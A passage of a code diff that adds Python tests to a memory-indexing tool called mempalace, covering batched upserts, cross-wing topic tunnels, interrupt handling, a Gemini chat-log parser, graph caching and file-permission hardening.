||||
@@ -373,6 +402,46 @@ def test_status_handles_none_metadata_without_crash(tmp_path, capsys):
|
||||
assert "WING: proj" in out
|
||||
|
||||
|
||||
def test_process_file_uses_bounded_upsert_batches(tmp_path, monkeypatch):
|
||||
from mempalace import miner
|
||||
|
||||
class FakeCol:
|
||||
def __init__(self):
|
||||
self.batch_sizes = []
|
||||
|
||||
def get(self, *args, **kwargs):
|
||||
return {"ids": []}
|
||||
|
||||
def delete(self, *args, **kwargs):
|
||||
pass
|
||||
|
||||
def upsert(self, documents, ids, metadatas):
|
||||
self.batch_sizes.append(len(documents))
|
||||
|
||||
source = tmp_path / "src.py"
|
||||
source.write_text("print('hello')\n" * 20, encoding="utf-8")
|
||||
chunks = [{"content": f"chunk {i} " * 20, "chunk_index": i} for i in range(5)]
|
||||
col = FakeCol()
|
||||
monkeypatch.setattr(miner, "DRAWER_UPSERT_BATCH_SIZE", 2)
|
||||
monkeypatch.setattr(miner, "chunk_text", lambda content, source_file: chunks)
|
||||
monkeypatch.setattr(miner, "detect_hall", lambda content: "code")
|
||||
monkeypatch.setattr(miner, "_extract_entities_for_metadata", lambda content: "")
|
||||
|
||||
drawers, room = miner.process_file(
|
||||
source,
|
||||
tmp_path,
|
||||
col,
|
||||
"wing",
|
||||
[{"name": "general", "description": "General"}],
|
||||
"agent",
|
||||
False,
|
||||
)
|
||||
|
||||
assert drawers == 5
|
||||
assert room == "general"
|
||||
assert col.batch_sizes == [2, 2, 1]
|
||||
|
||||
|
||||
# ── normalize_version schema gate ───────────────────────────────────────
|
||||
#
|
||||
# When the normalization pipeline changes shape (e.g., strip_noise lands),
|
||||
@@ -446,3 +515,249 @@ def test_add_drawer_stamps_normalize_version(tmp_path):
|
||||
assert meta["normalize_version"] == NORMALIZE_VERSION
|
||||
finally:
|
||||
del col, client
|
||||
|
||||
|
||||
def test_mine_creates_topic_tunnels_for_shared_topics(tmp_path, monkeypatch):
|
||||
"""End-to-end: when two wings have already-confirmed topics that overlap,
|
||||
the miner's mine-time pass drops a cross-wing tunnel between them.
|
||||
|
||||
Issue #1180.
|
||||
"""
|
||||
from mempalace import miner, palace_graph
|
||||
|
||||
# Redirect both the registry and tunnel-storage paths into tmp_path
|
||||
# so we never touch the developer's real ~/.mempalace directory.
|
||||
registry = tmp_path / "known_entities.json"
|
||||
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
|
||||
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
|
||||
tunnels_file = tmp_path / "tunnels.json"
|
||||
monkeypatch.setattr(palace_graph, "_TUNNEL_FILE", str(tunnels_file))
|
||||
|
||||
# Pre-populate the registry as if init had been run for two wings that
|
||||
# share a topic.
|
||||
miner.add_to_known_entities({"topics": ["foo", "bar"]}, wing="wing_one")
|
||||
miner.add_to_known_entities({"topics": ["foo", "baz"]}, wing="wing_two")
|
||||
|
||||
# Mine wing_two — should drop tunnels between wing_two and wing_one
|
||||
# for every shared topic. Just one in this case.
|
||||
project_root = tmp_path / "wing_two_project"
|
||||
project_root.mkdir()
|
||||
write_file(
|
||||
project_root / "notes.md",
|
||||
"Some prose long enough to make a chunk. " * 20,
|
||||
)
|
||||
with open(project_root / "mempalace.yaml", "w") as f:
|
||||
yaml.dump({"wing": "wing_two", "rooms": [{"name": "general"}]}, f)
|
||||
|
||||
palace_path = tmp_path / "palace"
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
listed = palace_graph.list_tunnels()
|
||||
assert len(listed) == 1
|
||||
rooms = {listed[0]["source"]["room"], listed[0]["target"]["room"]}
|
||||
# Topic tunnels use a ``topic:<name>`` synthetic room so they can't
|
||||
# collide with literal folder-derived rooms of the same name.
|
||||
assert rooms == {"topic:foo"}
|
||||
assert listed[0]["kind"] == "topic"
|
||||
wings = {listed[0]["source"]["wing"], listed[0]["target"]["wing"]}
|
||||
assert wings == {"wing_one", "wing_two"}
|
||||
|
||||
|
||||
def test_mine_no_tunnel_when_threshold_blocks_overlap(tmp_path, monkeypatch):
|
||||
"""Bumping ``MEMPALACE_TOPIC_TUNNEL_MIN_COUNT`` above the actual overlap
|
||||
suppresses tunnel creation."""
|
||||
from mempalace import miner, palace_graph
|
||||
|
||||
registry = tmp_path / "known_entities.json"
|
||||
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
|
||||
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
|
||||
tunnels_file = tmp_path / "tunnels.json"
|
||||
monkeypatch.setattr(palace_graph, "_TUNNEL_FILE", str(tunnels_file))
|
||||
monkeypatch.setenv("MEMPALACE_TOPIC_TUNNEL_MIN_COUNT", "2")
|
||||
|
||||
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_one")
|
||||
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_two")
|
||||
|
||||
project_root = tmp_path / "wing_two_project"
|
||||
project_root.mkdir()
|
||||
write_file(
|
||||
project_root / "notes.md",
|
||||
"Some prose long enough to make a chunk. " * 20,
|
||||
)
|
||||
with open(project_root / "mempalace.yaml", "w") as f:
|
||||
yaml.dump({"wing": "wing_two", "rooms": [{"name": "general"}]}, f)
|
||||
|
||||
palace_path = tmp_path / "palace"
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
# min_count=2 but only 1 shared topic → no tunnel.
|
||||
assert palace_graph.list_tunnels() == []
|
||||
|
||||
|
||||
def test_mine_no_tunnel_when_only_one_wing_has_topics(tmp_path, monkeypatch):
|
||||
"""A wing in isolation (no other wing has confirmed topics) creates no tunnels."""
|
||||
from mempalace import miner, palace_graph
|
||||
|
||||
registry = tmp_path / "known_entities.json"
|
||||
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
|
||||
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
|
||||
tunnels_file = tmp_path / "tunnels.json"
|
||||
monkeypatch.setattr(palace_graph, "_TUNNEL_FILE", str(tunnels_file))
|
||||
|
||||
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_one")
|
||||
|
||||
project_root = tmp_path / "wing_one_project"
|
||||
project_root.mkdir()
|
||||
write_file(
|
||||
project_root / "notes.md",
|
||||
"Some prose long enough to make a chunk. " * 20,
|
||||
)
|
||||
with open(project_root / "mempalace.yaml", "w") as f:
|
||||
yaml.dump({"wing": "wing_one", "rooms": [{"name": "general"}]}, f)
|
||||
|
||||
palace_path = tmp_path / "palace"
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
assert palace_graph.list_tunnels() == []
|
||||
|
||||
|
||||
# ── graceful Ctrl-C handling (#1182) ────────────────────────────────────
|
||||
|
||||
|
||||
def _make_minable_project(project_root: Path, n_files: int = 3) -> None:
|
||||
"""Create a tiny project with N readable files + a config so mine() runs."""
|
||||
for idx in range(n_files):
|
||||
write_file(
|
||||
project_root / f"f{idx}.py",
|
||||
f"def fn_{idx}():\n print('hi {idx}')\n" * 20,
|
||||
)
|
||||
with open(project_root / "mempalace.yaml", "w") as f:
|
||||
yaml.dump(
|
||||
{
|
||||
"wing": "interrupt_test",
|
||||
"rooms": [{"name": "general", "description": "General"}],
|
||||
},
|
||||
f,
|
||||
)
|
||||
|
||||
|
||||
def test_mine_keyboard_interrupt_prints_summary_and_exits_130(tmp_path, capsys):
|
||||
"""A KeyboardInterrupt mid-loop produces the clean summary + exit 130."""
|
||||
import pytest
|
||||
from unittest.mock import patch
|
||||
|
||||
project_root = tmp_path / "proj"
|
||||
project_root.mkdir()
|
||||
_make_minable_project(project_root, n_files=4)
|
||||
palace_path = project_root / "palace"
|
||||
|
||||
call_count = {"n": 0}
|
||||
|
||||
def fake_process_file(*args, **kwargs):
|
||||
call_count["n"] += 1
|
||||
if call_count["n"] == 2:
|
||||
raise KeyboardInterrupt
|
||||
return (1, "general")
|
||||
|
||||
with patch("mempalace.miner.process_file", side_effect=fake_process_file):
|
||||
with pytest.raises(SystemExit) as exc_info:
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
assert exc_info.value.code == 130
|
||||
out = capsys.readouterr().out
|
||||
assert "Mine interrupted." in out
|
||||
assert "files_processed: 1/" in out
|
||||
assert "drawers_filed:" in out
|
||||
assert "last_file:" in out
|
||||
assert "upserted idempotently" in out
|
||||
|
||||
|
||||
def test_mine_keyboard_interrupt_quotes_path_with_spaces_in_resume_hint(tmp_path, capsys):
|
||||
"""Resume hint must shell-quote the project dir so a path containing
|
||||
spaces / metacharacters yields a copy-paste-safe `mempalace mine ...`
|
||||
command. Otherwise users on a path like "My Project" hit a broken
|
||||
invocation when they re-run after Ctrl-C."""
|
||||
import pytest
|
||||
from unittest.mock import patch
|
||||
|
||||
project_root = tmp_path / "my project"
|
||||
project_root.mkdir()
|
||||
_make_minable_project(project_root, n_files=2)
|
||||
palace_path = project_root / "palace"
|
||||
|
||||
def fake_process_file(*args, **kwargs):
|
||||
raise KeyboardInterrupt
|
||||
|
||||
with patch("mempalace.miner.process_file", side_effect=fake_process_file):
|
||||
with pytest.raises(SystemExit):
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
out = capsys.readouterr().out
|
||||
# Use shlex.quote so the assertion matches whatever the production
|
||||
# code emits on this platform (POSIX paths with spaces vs Windows
|
||||
# paths with backslashes both end up wrapped in single quotes).
|
||||
assert f"mempalace mine {shlex.quote(str(project_root))}" in out
|
||||
|
||||
|
||||
def test_mine_cleans_up_pid_file_on_interrupt(tmp_path):
|
||||
"""Our own PID entry in mine.pid is removed in the finally clause."""
|
||||
import pytest
|
||||
from unittest.mock import patch
|
||||
|
||||
project_root = tmp_path / "proj"
|
||||
project_root.mkdir()
|
||||
_make_minable_project(project_root, n_files=2)
|
||||
palace_path = project_root / "palace"
|
||||
|
||||
pid_file = tmp_path / "mine.pid"
|
||||
pid_file.write_text(str(os.getpid()))
|
||||
|
||||
def fake_process_file(*args, **kwargs):
|
||||
raise KeyboardInterrupt
|
||||
|
||||
with (
|
||||
patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file),
|
||||
patch("mempalace.miner.process_file", side_effect=fake_process_file),
|
||||
):
|
||||
with pytest.raises(SystemExit):
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
assert not pid_file.exists(), "Our PID entry should be cleaned up on interrupt"
|
||||
|
||||
|
||||
def test_mine_cleans_up_pid_file_on_clean_exit(tmp_path):
|
||||
"""Successful mine also removes its own PID entry in the finally clause."""
|
||||
from unittest.mock import patch
|
||||
|
||||
project_root = tmp_path / "proj"
|
||||
project_root.mkdir()
|
||||
_make_minable_project(project_root, n_files=1)
|
||||
palace_path = project_root / "palace"
|
||||
|
||||
pid_file = tmp_path / "mine.pid"
|
||||
pid_file.write_text(str(os.getpid()))
|
||||
|
||||
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
assert not pid_file.exists()
|
||||
|
||||
|
||||
def test_mine_does_not_remove_other_processes_pid_file(tmp_path):
|
||||
"""A PID file pointing at someone else's PID is left untouched."""
|
||||
from unittest.mock import patch
|
||||
|
||||
project_root = tmp_path / "proj"
|
||||
project_root.mkdir()
|
||||
_make_minable_project(project_root, n_files=1)
|
||||
palace_path = project_root / "palace"
|
||||
|
||||
other_pid = os.getpid() + 999_999 # a PID that isn't us
|
||||
pid_file = tmp_path / "mine.pid"
|
||||
pid_file.write_text(str(other_pid))
|
||||
|
||||
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
|
||||
mine(str(project_root), str(palace_path))
|
||||
|
||||
assert pid_file.exists(), "Foreign PID entries must not be removed"
|
||||
assert pid_file.read_text().strip() == str(other_pid)
|
||||
|
||||
@@ -11,6 +11,7 @@ from mempalace.normalize import (
|
||||
_try_claude_ai_json,
|
||||
_try_claude_code_jsonl,
|
||||
_try_codex_jsonl,
|
||||
_try_gemini_jsonl,
|
||||
_try_normalize_json,
|
||||
_try_slack_json,
|
||||
normalize,
|
||||
@@ -450,6 +451,168 @@ def test_codex_jsonl_payload_not_dict():
|
||||
assert result is not None
|
||||
|
||||
|
||||
# ── _try_gemini_jsonl ──────────────────────────────────────────────────
|
||||
#
|
||||
# Gemini CLI sessions live at ``~/.gemini/tmp/<project_hash>/chats/`` as
|
||||
# JSONL. The schema (per google-gemini/gemini-cli#15292):
|
||||
#
|
||||
# {"type":"session_metadata","sessionId":"...","projectHash":"...",...}
|
||||
# {"type":"user","id":"msg1","content":[{"text":"Hello"}]}
|
||||
# {"type":"gemini","id":"msg2","content":[{"text":"Hi"}]}
|
||||
# {"type":"message_update","id":"msg2","tokens":{"input":10,"output":5}}
|
||||
#
|
||||
# Detection requires a ``session_metadata`` record so this parser does
|
||||
# not false-positive against Claude Code or Codex JSONL. ``message_update``
|
||||
# entries (token-count deltas only) are skipped — they carry no message
|
||||
# text. ``content`` is an array of ``{"text": "..."}`` blocks; we join
|
||||
# all text blocks for a given message.
|
||||
|
||||
|
||||
def test_gemini_jsonl_valid():
|
||||
lines = [
|
||||
json.dumps({"type": "session_metadata", "sessionId": "abc", "projectHash": "h"}),
|
||||
json.dumps({"type": "user", "id": "m1", "content": [{"text": "Hello"}]}),
|
||||
json.dumps({"type": "gemini", "id": "m2", "content": [{"text": "Hi there"}]}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is not None
|
||||
assert "> Hello" in result
|
||||
assert "Hi there" in result
|
||||
|
||||
|
||||
def test_gemini_jsonl_multi_turn():
|
||||
lines = [
|
||||
json.dumps({"type": "session_metadata", "sessionId": "s"}),
|
||||
json.dumps({"type": "user", "content": [{"text": "Q1"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "A1"}]}),
|
||||
json.dumps({"type": "user", "content": [{"text": "Q2"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "A2"}]}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is not None
|
||||
assert "> Q1" in result
|
||||
assert "A1" in result
|
||||
assert "> Q2" in result
|
||||
assert "A2" in result
|
||||
|
||||
|
||||
def test_gemini_jsonl_no_session_metadata():
|
||||
"""Without session_metadata, parser returns None — guards against false
|
||||
positives on Claude Code / Codex JSONL passed through the dispatch chain."""
|
||||
lines = [
|
||||
json.dumps({"type": "user", "content": [{"text": "Hi"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "Hello"}]}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is None
|
||||
|
||||
|
||||
def test_gemini_jsonl_skips_message_update():
|
||||
"""message_update records carry only token counts — must be ignored,
|
||||
not turned into empty drawers or duplicated assistant turns."""
|
||||
lines = [
|
||||
json.dumps({"type": "session_metadata"}),
|
||||
json.dumps({"type": "user", "content": [{"text": "Q"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "A"}]}),
|
||||
json.dumps({"type": "message_update", "id": "m2", "tokens": {"input": 10, "output": 5}}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is not None
|
||||
assert "tokens" not in result
|
||||
assert "input" not in result
|
||||
|
||||
|
||||
def test_gemini_jsonl_too_few_messages():
|
||||
"""Mirror codex/claude_code behavior: < 2 conversational messages = None."""
|
||||
lines = [
|
||||
json.dumps({"type": "session_metadata"}),
|
||||
json.dumps({"type": "user", "content": [{"text": "only one msg"}]}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is None
|
||||
|
||||
|
||||
def test_gemini_jsonl_multi_block_content():
|
||||
"""A single message can have multiple text blocks in its content array
|
||||
(e.g. a thinking block + a final answer). Both should be concatenated
|
||||
into one transcript turn, in order."""
|
||||
lines = [
|
||||
json.dumps({"type": "session_metadata"}),
|
||||
json.dumps({"type": "user", "content": [{"text": "Q"}]}),
|
||||
json.dumps(
|
||||
{
|
||||
"type": "gemini",
|
||||
"content": [{"text": "First part."}, {"text": "Second part."}],
|
||||
}
|
||||
),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is not None
|
||||
assert "First part." in result
|
||||
assert "Second part." in result
|
||||
|
||||
|
||||
def test_gemini_jsonl_empty_content_skipped():
|
||||
"""A message whose content array yields no text should be skipped, not
|
||||
emit an empty turn that would corrupt the transcript."""
|
||||
lines = [
|
||||
json.dumps({"type": "session_metadata"}),
|
||||
json.dumps({"type": "user", "content": []}),
|
||||
json.dumps({"type": "user", "content": [{"text": "real Q"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "real A"}]}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is not None
|
||||
assert "> real Q" in result
|
||||
assert "real A" in result
|
||||
|
||||
|
||||
def test_gemini_jsonl_invalid_json_lines_skipped():
|
||||
"""A malformed line in the middle of the stream must not abort parsing —
|
||||
the rest of the session should still produce a transcript."""
|
||||
lines = [
|
||||
json.dumps({"type": "session_metadata"}),
|
||||
"not-valid-json{",
|
||||
json.dumps({"type": "user", "content": [{"text": "Q"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "A"}]}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is not None
|
||||
assert "> Q" in result
|
||||
|
||||
|
||||
def test_gemini_jsonl_does_not_match_codex():
|
||||
"""Codex JSONL passed in must NOT be parsed by the gemini adapter — the
|
||||
dispatch chain in _try_normalize_json relies on each adapter returning
|
||||
None when it doesn't recognize a format."""
|
||||
lines = [
|
||||
json.dumps({"type": "session_meta", "payload": {}}),
|
||||
json.dumps({"type": "event_msg", "payload": {"type": "user_message", "message": "Q"}}),
|
||||
json.dumps({"type": "event_msg", "payload": {"type": "agent_message", "message": "A"}}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is None
|
||||
|
||||
|
||||
def test_gemini_jsonl_messages_before_session_metadata_discarded():
|
||||
"""user/gemini turns that appear before the session_metadata sentinel must
|
||||
be silently discarded, not counted as conversational messages. Only turns
|
||||
after the sentinel contribute to the transcript."""
|
||||
lines = [
|
||||
json.dumps({"type": "user", "content": [{"text": "preamble Q"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "preamble A"}]}),
|
||||
json.dumps({"type": "session_metadata", "sessionId": "s"}),
|
||||
json.dumps({"type": "user", "content": [{"text": "real Q"}]}),
|
||||
json.dumps({"type": "gemini", "content": [{"text": "real A"}]}),
|
||||
]
|
||||
result = _try_gemini_jsonl("\n".join(lines))
|
||||
assert result is not None
|
||||
assert "preamble Q" not in result
|
||||
assert "preamble A" not in result
|
||||
assert "> real Q" in result
|
||||
assert "real A" in result
|
||||
|
||||
|
||||
# ── _try_claude_ai_json ───────────────────────────────────────────────
|
||||
|
||||
|
||||
|
||||
@@ -30,6 +30,7 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}):
|
||||
build_graph,
|
||||
find_tunnels,
|
||||
graph_stats,
|
||||
invalidate_graph_cache,
|
||||
traverse,
|
||||
)
|
||||
|
||||
@@ -38,6 +39,9 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}):
|
||||
|
||||
|
||||
class TestBuildGraph:
|
||||
def setup_method(self):
|
||||
invalidate_graph_cache()
|
||||
|
||||
def test_empty_collection(self):
|
||||
col = _make_fake_collection([])
|
||||
nodes, edges = build_graph(col=col)
|
||||
@@ -50,6 +54,27 @@ class TestBuildGraph:
|
||||
assert nodes == {}
|
||||
assert edges == []
|
||||
|
||||
def test_none_metadata_does_not_crash(self):
|
||||
"""ChromaDB can return None for drawers without metadata (legacy
|
||||
data, partial writes — upstream #1020 territory). build_graph
|
||||
must skip None entries silently rather than crash the whole
|
||||
graph build with AttributeError. Caught 2026-04-25 by
|
||||
palace-daemon's verify-routes.sh smoke test against the
|
||||
canonical 151K palace; /stats was 500-ing on a single None
|
||||
drawer and taking out every consumer of build_graph for the
|
||||
whole call path."""
|
||||
col = _make_fake_collection(
|
||||
[
|
||||
{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"},
|
||||
None, # legacy / partial-write drawer with no metadata
|
||||
{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-02"},
|
||||
]
|
||||
)
|
||||
nodes, edges = build_graph(col=col)
|
||||
# The two real drawers were processed; the None one was skipped.
|
||||
assert "auth" in nodes
|
||||
assert nodes["auth"]["count"] == 2
|
||||
|
||||
def test_single_wing_no_edges(self):
|
||||
col = _make_fake_collection(
|
||||
[
|
||||
@@ -114,11 +139,43 @@ class TestBuildGraph:
|
||||
nodes, _ = build_graph(col=col)
|
||||
assert len(nodes["busy"]["dates"]) <= 5
|
||||
|
||||
def test_cache_returns_same_result(self):
|
||||
"""Second call within TTL returns cached nodes without re-scanning.
|
||||
|
||||
The cache intentionally ignores col/config args when warm — this is
|
||||
correct for the MCP server's single-palace use case. Callers that
|
||||
switch collections must call invalidate_graph_cache() first.
|
||||
"""
|
||||
col = _make_fake_collection(
|
||||
[{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}]
|
||||
)
|
||||
nodes1, edges1 = build_graph(col=col)
|
||||
# Second call with a *different* collection — should still return cached result
|
||||
col2 = _make_fake_collection([])
|
||||
nodes2, edges2 = build_graph(col=col2)
|
||||
assert nodes1 == nodes2
|
||||
assert edges1 == edges2
|
||||
|
||||
def test_invalidate_clears_cache(self):
|
||||
"""invalidate_graph_cache() forces a fresh scan on next call."""
|
||||
col = _make_fake_collection(
|
||||
[{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}]
|
||||
)
|
||||
build_graph(col=col)
|
||||
invalidate_graph_cache()
|
||||
col_empty = _make_fake_collection([])
|
||||
nodes, edges = build_graph(col=col_empty)
|
||||
assert nodes == {}
|
||||
assert edges == []
|
||||
|
||||
|
||||
# --- traverse ---
|
||||
|
||||
|
||||
class TestTraverse:
|
||||
def setup_method(self):
|
||||
invalidate_graph_cache()
|
||||
|
||||
def _build_col(self):
|
||||
return _make_fake_collection(
|
||||
[
|
||||
@@ -156,6 +213,9 @@ class TestTraverse:
|
||||
|
||||
|
||||
class TestFindTunnels:
|
||||
def setup_method(self):
|
||||
invalidate_graph_cache()
|
||||
|
||||
def _build_tunnel_col(self):
|
||||
return _make_fake_collection(
|
||||
[
|
||||
@@ -192,6 +252,9 @@ class TestFindTunnels:
|
||||
|
||||
|
||||
class TestGraphStats:
|
||||
def setup_method(self):
|
||||
invalidate_graph_cache()
|
||||
|
||||
def test_empty_graph(self):
|
||||
col = _make_fake_collection([])
|
||||
stats = graph_stats(col=col)
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
"""Tests for explicit tunnel helpers in mempalace.palace_graph."""
|
||||
|
||||
import os
|
||||
import stat
|
||||
import sys
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
@@ -37,8 +40,40 @@ class TestTunnelStorage:
|
||||
palace_graph._save_tunnels(tunnels)
|
||||
assert palace_graph._load_tunnels() == tunnels
|
||||
|
||||
@pytest.mark.skipif(
|
||||
sys.platform == "win32",
|
||||
reason="POSIX file-permission bits only apply on Unix-like systems",
|
||||
)
|
||||
def test_save_tunnels_restricts_permissions(self, tmp_path, monkeypatch):
|
||||
"""Regression for #1165 — tunnels.json reveals cross-wing links and
|
||||
must not be world-readable on shared Linux/multi-user systems."""
|
||||
tunnel_file = _use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
palace_graph._save_tunnels(
|
||||
[
|
||||
{
|
||||
"id": "x",
|
||||
"source": {"wing": "a", "room": "r1"},
|
||||
"target": {"wing": "b", "room": "r2"},
|
||||
"label": "",
|
||||
}
|
||||
]
|
||||
)
|
||||
|
||||
file_mode = stat.S_IMODE(os.stat(tunnel_file).st_mode)
|
||||
assert file_mode == 0o600, f"tunnels.json mode is {oct(file_mode)}, expected 0o600"
|
||||
|
||||
parent_mode = stat.S_IMODE(os.stat(tunnel_file.parent).st_mode)
|
||||
assert (
|
||||
parent_mode == 0o700
|
||||
), f"tunnels.json parent dir mode is {oct(parent_mode)}, expected 0o700"
|
||||
|
||||
|
||||
class TestExplicitTunnels:
|
||||
def test_normalize_wing_uses_shared_rule_and_trims_empty(self):
|
||||
assert palace_graph._normalize_wing(" Mempalace-Public ") == "mempalace_public"
|
||||
assert palace_graph._normalize_wing(" ") is None
|
||||
assert palace_graph._normalize_wing(None) is None
|
||||
|
||||
def test_create_tunnel_deduplicates_reverse_order_and_updates_label(
|
||||
self, tmp_path, monkeypatch
|
||||
):
|
||||
@@ -135,3 +170,212 @@ class TestExplicitTunnels:
|
||||
connections = palace_graph.follow_tunnels("wing_code", "auth", col=col)
|
||||
assert len(connections) == 1
|
||||
assert "drawer_preview" not in connections[0]
|
||||
|
||||
|
||||
class TestTopicTunnels:
|
||||
"""Cross-wing topic tunnels (issue #1180).
|
||||
|
||||
When two wings share confirmed TOPIC labels above a configurable
|
||||
threshold, a symmetric tunnel is created between them. Tunnels are
|
||||
routed through the existing ``create_tunnel`` storage so they share
|
||||
dedup and persistence with explicit tunnels.
|
||||
"""
|
||||
|
||||
def test_compute_topic_tunnels_creates_link_for_shared_topic(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {
|
||||
"wing_alpha": ["Angular", "OpenAPI"],
|
||||
"wing_beta": ["OpenAPI", "Kubernetes"],
|
||||
}
|
||||
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
|
||||
assert len(created) == 1
|
||||
assert created[0]["source"]["wing"] in {"wing_alpha", "wing_beta"}
|
||||
assert created[0]["target"]["wing"] in {"wing_alpha", "wing_beta"}
|
||||
# Room is namespaced with the ``topic:`` prefix so it can't collide
|
||||
# with a literal folder-derived room of the same name. Casing of the
|
||||
# topic is preserved for display.
|
||||
assert created[0]["source"]["room"] == "topic:OpenAPI"
|
||||
assert created[0]["target"]["room"] == "topic:OpenAPI"
|
||||
assert created[0]["kind"] == "topic"
|
||||
# Label carries the human-readable topic without the prefix.
|
||||
assert "OpenAPI" in created[0]["label"]
|
||||
assert "topic:OpenAPI" not in created[0]["label"]
|
||||
|
||||
# Tunnel is retrievable via the standard list_tunnels API.
|
||||
listed = palace_graph.list_tunnels()
|
||||
assert len(listed) == 1
|
||||
assert listed[0]["id"] == created[0]["id"]
|
||||
|
||||
def test_compute_topic_tunnels_no_link_below_threshold(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {
|
||||
"wing_alpha": ["Angular", "OpenAPI"],
|
||||
"wing_beta": ["OpenAPI", "Kubernetes"],
|
||||
}
|
||||
# min_count=2 requires two overlapping topics — only one shared.
|
||||
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=2)
|
||||
assert created == []
|
||||
assert palace_graph.list_tunnels() == []
|
||||
|
||||
def test_compute_topic_tunnels_above_threshold_creates_per_topic_links(
|
||||
self, tmp_path, monkeypatch
|
||||
):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {
|
||||
"wing_alpha": ["Angular", "OpenAPI", "Postgres"],
|
||||
"wing_beta": ["Angular", "OpenAPI", "Redis"],
|
||||
}
|
||||
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=2)
|
||||
# Two shared topics × one wing pair = two tunnels.
|
||||
rooms = sorted(t["source"]["room"] for t in created)
|
||||
assert rooms == ["topic:Angular", "topic:OpenAPI"]
|
||||
|
||||
def test_compute_topic_tunnels_case_insensitive_overlap(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {
|
||||
"wing_alpha": ["openapi"],
|
||||
"wing_beta": ["OpenAPI"],
|
||||
}
|
||||
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
|
||||
assert len(created) == 1
|
||||
|
||||
def test_compute_topic_tunnels_empty_input_is_noop(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
assert palace_graph.compute_topic_tunnels({}) == []
|
||||
assert palace_graph.compute_topic_tunnels({"wing_a": []}) == []
|
||||
assert palace_graph.list_tunnels() == []
|
||||
|
||||
def test_compute_topic_tunnels_three_wings_pairwise(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {
|
||||
"wing_a": ["foo"],
|
||||
"wing_b": ["foo"],
|
||||
"wing_c": ["foo"],
|
||||
}
|
||||
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
|
||||
# 3 wings sharing the same topic → C(3,2) = 3 pairs → 3 tunnels.
|
||||
assert len(created) == 3
|
||||
endpoint_pairs = {
|
||||
tuple(sorted([t["source"]["wing"], t["target"]["wing"]])) for t in created
|
||||
}
|
||||
assert endpoint_pairs == {
|
||||
("wing_a", "wing_b"),
|
||||
("wing_a", "wing_c"),
|
||||
("wing_b", "wing_c"),
|
||||
}
|
||||
|
||||
def test_topic_tunnels_for_wing_only_links_that_wing(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {
|
||||
"wing_a": ["foo", "bar"],
|
||||
"wing_b": ["foo"],
|
||||
"wing_c": ["bar"],
|
||||
}
|
||||
# wing_a should link to both b (via foo) and c (via bar).
|
||||
created = palace_graph.topic_tunnels_for_wing("wing_a", topics_by_wing)
|
||||
endpoint_pairs = {
|
||||
